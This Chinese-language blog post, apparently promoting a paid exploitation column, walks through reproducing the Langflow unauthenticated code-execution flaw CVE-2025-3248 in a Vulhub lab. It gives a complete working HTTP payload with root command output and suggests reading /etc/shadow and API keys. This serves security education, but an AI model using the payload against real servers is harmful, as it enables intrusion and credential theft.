漏洞利用演示视频
👉 你天天用的AI工具,藏着无需登录的高危后门 CVE-2025-3248
发生了什么?
你可能没听过Langflow,但它是现在AI圈特别火的一款工具------不用写代码,拖拽几个节点就能搭出一个AI工作流或者智能体,很多公司和个人开发者都在用,公网上一搜一大把暴露的实例。
但在1.3.0版本之前,这个工具藏了一个挺离谱的漏洞。它有个「帮你检查Python代码语法对不对」的功能,任何人不用登录、不用密码就能用。而这个「检查」的过程,实际上会真的运行你提交的代码。
相当于你家门上装了个访客留言板,本来是让访客留言的,结果留言板会把访客写的每一句话都当成给户主的命令照做------访客写一句「把保险柜打开」,保险柜就真的开了。
这个漏洞编号CVE-2025-3248,专业名叫「未授权远程代码执行漏洞」,CVSS危险评分9.8(满分10),属于最高危级别。
「未授权」这三个字是关键。什么意思呢?就是这个接口不需要登录、不需要密码、不需要任何凭证,只要你能访问到这个服务器的7860端口,你就能直接调用它。你不需要是Langflow的用户,不需要知道管理员账号,甚至不需要在浏览器里打开它的页面------用curl、用Python脚本、用Burp Suite,随便什么工具,发个POST请求就行。
这意味着什么?意味着如果一家公司把Langflow部署在公网上,版本又低于1.3.0,那么全世界任何人都能在他们的服务器上执行任意命令。读文件、删数据、种挖矿木马、当跳板机攻击内网------想干嘛干嘛。而且Langflow的Docker容器默认就是root权限运行,攻击者一上来就是最高权限,连提权都省了。
我在自己的靶场上复现了这个漏洞,一个POST请求发过去,直接拿到了root权限的命令执行:

看到响应里的 uid=0(root) 了吗?root权限,未授权,一个请求。就这么简单。
本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境。
有多严重?------POC验证
先说说这个漏洞的原理,不用懂代码也能明白。
Langflow做了一个接口 /api/v1/validate/code,功能很单纯:用户发一段Python函数过来,帮你检查语法写得对不对。开发者当时想的是:我只是把你提交的函数定义加载一下,又不调用它,肯定不会有危险。
问题出在Python的一个特性上:定义一个函数的时候,函数的默认参数值会立刻被计算,而不是等调用函数的时候才算。
攻击者就利用了这个特性,提交一个看起来很正常的函数定义,但在默认参数里偷偷藏了执行系统命令的代码。系统刚拿到这段代码准备「检查语法」,默认参数里的恶意代码就已经跑起来了。全程不用调用函数、不用登录验证,请求发过去就执行。
直接上POC。向 /api/v1/validate/code 发送一个POST请求:
http
POST /api/v1/validate/code HTTP/1.1
Host: {业务目标ip}:7860
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/json
{"code": "def test(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"id\", shell=True))')):\n pass"}
这段payload看起来有点绕,我逐字段拆给你看:
def test(cd=...)------ 定义一个叫test的函数,cd是默认参数。关键就在这里:Python定义函数时会立刻求值默认参数exec('...')------ 执行括号里的Python代码字符串。这是真正的触发器raise Exception(...)------ 抛出一个异常,异常信息就是括号里的内容。Langflow的接口会把异常详情返回在响应中,这就是我们的回显通道__import__('subprocess')------ 动态导入subprocess模块,比直接写import subprocess更稳妥.check_output("id", shell=True)------ 执行id命令并捕获输出
整段代码的执行流程是:Langflow用exec加载函数定义 → Python求值默认参数cd → 触发内层exec → 执行subprocess.check_output("id") → 把输出包进Exception抛出 → 异常信息出现在HTTP响应中。
发送之后,看响应体:
json
{
"imports": {"errors": []},
"function": {"errors": ["b'uid=0(root) gid=0(root) groups=0(root)\\n'"]}
}
uid=0(root),命令执行成功,而且是root权限。Langflow的Docker容器默认就是root用户运行,这意味着一旦被攻破,攻击者直接拿到容器内的最高权限。
这里有个细节值得说一下:为什么要用raise Exception()把命令输出包起来?因为这个接口的设计是「校验代码语法」,正常情况下返回的是语法错误信息。我们故意让代码抛出一个异常,异常信息里带着命令执行的结果,接口就会把这个异常信息原样返回给我们------相当于借了接口的错误通道当回显管道。这个技巧在很多「无回显命令执行」的场景里都用得到,核心思路就是:既然正常通道不返回数据,那就借错误通道、借日志、借DNS请求,总能把数据带出来。
你也可以把id换成其他命令,比如whoami、cat /etc/passwd、uname -a、ls -la /,只要命令不太复杂、不含太多特殊字符,都能直接执行并回显。想象一下,攻击者可以直接读/etc/shadow拿密码哈希、读环境变量拿API密钥、看进程列表找其他服务的凭证------这些信息每一个都可能成为进一步入侵的跳板。
到这一步,漏洞验证就完成了。一个请求,未授权,root权限命令执行。就这么简单。
环境怎么搭?
直接用Vulhub启动,一行命令的事。Vulhub里这个漏洞的路径是 vulhub/langflow/CVE-2025-3248/。
bash
cd vulhub/langflow/CVE-2025-3248/
docker compose up -d
启动后访问 http://{业务目标ip}:7860,看到Langflow的登录界面就说明靶场就绪了。

默认账号是 administrator:vulhub,可以登录进去体验一下Langflow的界面。但漏洞利用完全不需要登录------这也是这个漏洞最可怕的地方,登录页形同虚设。
需要注意的是,这个漏洞影响的是1.3.0之前的版本。Vulhub里的镜像是已经打好漏洞的版本,直接用就行。如果你是自己装的Langflow,先确认版本号,低于1.3.0的都存在风险。
另外,启动容器之后别急着发payload,先docker compose ps看一下容器状态是不是healthy,再用浏览器访问一下http://{业务目标ip}:7860确认页面能正常打开。有时候镜像拉取慢或者端口被占用,服务没起来就发请求,报一堆连接错误,还以为是payload写错了------这种低级错误我犯过不止一次,说出来都是泪。
真正的门槛在哪?
到这里,POC复现就完成了。你可能会觉得:这也太简单了,一个请求就root了,有什么难的?
确实,POC验证不难。但如果你以为这样就算「拿下服务器」了,那你就太天真了。
能执行id命令,跟拿到一个交互式的Shell、能在服务器上自由操作,完全是两码事。中间隔着的不是一条沟,是一座山。
如果你想走完这条路
我把从环境搭建到最终反弹Shell的完整过程------包括每一次试错、每一次失败的排查思路、最终绕过方案的原理拆解,以及一个开箱即用的探测脚本和利用脚本,连命令带截图一步不落------都整理在了专栏里。
本篇文章完整版详见 《【GetShell】Langflow API未授权远程代码执行漏洞(CVE-2025-3248)》👉点击直达
本篇文章视频演示:你天天用的AI工具,藏着无需登录的高危后门 CVE-2025-3248👉点击直达
专栏的名字叫 高危漏洞深度利用---零基础GetShell的全链路实战指南,👉点击直达。核心就是不止于POC复现,每篇文章必须走到拿下服务器。如果你不想自己从头踩一遍编码转义的坑,可以翻翻。
复现过程中有问题直接评论区留言,我看到了会回。
本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境。